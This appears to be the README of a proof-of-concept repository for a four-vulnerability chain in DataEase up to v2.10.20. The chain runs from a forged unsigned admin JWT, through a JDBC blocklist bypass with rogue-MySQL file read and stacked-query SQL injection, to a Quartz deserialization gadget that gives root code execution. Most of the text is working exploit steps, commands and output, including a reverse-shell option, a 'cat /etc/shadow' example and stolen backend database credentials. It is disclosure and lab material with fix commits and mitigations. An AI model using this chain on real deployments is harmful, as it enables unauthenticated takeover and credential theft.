Automated exploit for DataEase: 4-vulnerability chain (auth bypass, JDBC blocklist bypass, SQL injection, Java deserialization) achieving unauthenticated RCE. Includes Docker lab and Python PoC.
Auth bypass → JDBC blocklist bypass (arbitrary file read) → SQL injection → Java deserialization in Quartz → remote code execution as
root.Self-contained local lab (Docker) + working PoC. Fixed in DataEase v2.10.21.
DataEase is a popular open-source BI / data-visualization platform (Java / Spring Boot). Versions ≤ v2.10.20 are vulnerable to a chain of four issues that together turn a network-reachable DataEase into remote code execution:
| # | CVE | Class | What it gives us |
|---|
| 1 | CVE-2026-23958 | Auth bypass (CWE-287/CWE-347) | Act as admin — no valid signature needed |
| 2 | CVE-2026-40899 | JDBC blocklist bypass (CWE-20) | Arbitrary file read → steal backend DB creds |
| 3 | CVE-2026-40900 | SQL injection / stacked queries (CWE-89) | Write into DataEase's own database |
| 4 | CVE-2026-40901 | Java deserialization (CWE-502) | RCE as root via the Quartz job store |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Everything runs locally in Docker. No external services, no internet target.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
Bring it up:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (API prefix /de2api)admin / DataEase@123456Requirements on the host: Docker, Python 3.8+ with cryptography
(pip install -r exploit/requirements.txt), and the Docker CLI (used to run
ysoserial in a throwaway eclipse-temurin:8-jre container to build the gadget).
DataEase authenticates requests in a servlet filter, TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java). It reads the token and calls
TokenUtils.validate(), which ends up in:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() never verifies the signature. The only checks are: the token
is ≥ 100 characters and carries an integer uid claim. So any JWT that says
"uid": 1 makes the request run as the built-in administrator (uid 1).
There is a second filter (CommunityTokenFilter) that does verify a signature
for the X-DE-TOKEN header — but only under specific conditions, and the
signing key is either a per-user secret or, in a plain community build, the MD5
of the hardcoded default password DataEase@123456
(SubstituleLoginConfig → dataease.default-pwd). The companion share-link
path (X-DE-LINK-TOKEN) is signed with the hardcoded key
link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) and, pre-fix, was likewise
decoded without verification.
Net effect: an attacker can mint an administrator token. de_common.py
includes forge_jwt() which produces the signature-less token; the PoC also
supports simply logging in with the ubiquitous default credentials to obtain a
fully valid X-DE-TOKEN for the rest of the chain.
The fix (commit 00c169caa) makes TokenFilter look up the real per-resource
secret and actually call verifier.verify(...).
When you add a MySQL datasource, DataEase refuses a set of dangerous JDBC
parameters. That blocklist lives in a Lombok @Data field:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Because @Data auto-generates setIllegalParameters(...), Jackson will happily
populate it from attacker-controlled JSON. Sending "illegalParameters": [] in
the (Base64-encoded) configuration blob empties the blocklist before it is
checked. We can then point the datasource at a rogue MySQL server with
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
and read arbitrary files off the DataEase host via the MySQL LOCAL INFILE
mechanism.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Result — DataEase hands us its own backend DB credentials:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Those credentials are what an attacker uses to point step 3 at DataEase's own
database. The fix (commit 16a950f96) adds @JsonIgnore to every
illegalParameters field so it can no longer be set from JSON.
previewSqlPOST /de2api/datasetData/previewSql takes a Base64-encoded SQL string and,
with no single-statement validation, wraps it as a subquery:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Comments are stripped, but we can balance the parentheses and use ; to run
extra statements. Because we control the datasource, we enable
allowMultiQueries=true (not on the blocklist in v2.10.20), so stacked
queries execute:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
which the server assembles into three real statements. Pointing this datasource
at DataEase's own database (creds from step 2) lets us write into its Quartz
tables. Fixes: 15611593b adds allowMultiQueries to the blocklist and
e89059d88 hardens the save/engine flow.
DataEase schedules a recurring "datasource status check" Quartz job:
deSyncJob, job Datasource / check_status, class
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (default: every 6 minutes)Quartz uses a JDBC job store with useProperties=false, so each job's
JobDataMap is stored in the QRTZ_JOB_DETAILS.JOB_DATA column as a
raw Java-serialized object (you can see it: the blob starts with the
serialization magic AC ED 00 05 … org.quartz.JobDataMap). When the scheduler
scans for triggers it does, in StdJDBCDelegate.selectJobDetail:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase bundles commons-collections-3.2.1.jar (and velocity-1.7.jar) —
classic deserialization gadget sources. Using step 3 we overwrite JOB_DATA
with a ysoserial CommonsCollections6 payload (and, in the same stacked
query, pull the trigger's NEXT_FIRE_TIME to now so we don't wait for the
6-minute cron). On the next scheduler scan, readObject() fires the gadget chain
(LazyMap → InvokerTransformer → Runtime.exec) and our command runs — as
root, inside the container. The fix set (e05bda764, …) removes the vulnerable
Velocity dependency and the reachability of the sink.
The PoC generates the gadget for you (busybox-friendly command wrapping — the
target shell is Alpine ash and Runtime.exec gets no shell, so we use
sh -c echo${IFS}<b64>|base64${IFS}-d|sh).
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
Reset the poisoned Quartz job between runs (optional):
exploit/reset_quartz.sh
| Path | Purpose |
|---|---|
exploit/de_common.py | HTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql |
exploit/de_rce_chain.py | the end-to-end auth → SQLi → Quartz deserialization RCE |
exploit/rogue_mysql.py | minimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899 |
exploit/file_read.py | drives CVE-2026-40899 against the rogue server |
exploit/reset_quartz.sh | restore a clean Quartz job after a run |
admin password (DataEase@123456) immediately.useProperties=true, apply a
JVM deserialization filter (-Djdk.serialFilter=…), and drop
commons-collections:3.2.1 / velocity:1.7 from the classpath.For education and authorized testing only. The lab targets a container you run yourself. Do not point any of this at systems you don't own or have explicit written permission to test.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764
(DataEase v2.10.20..v2.10.21)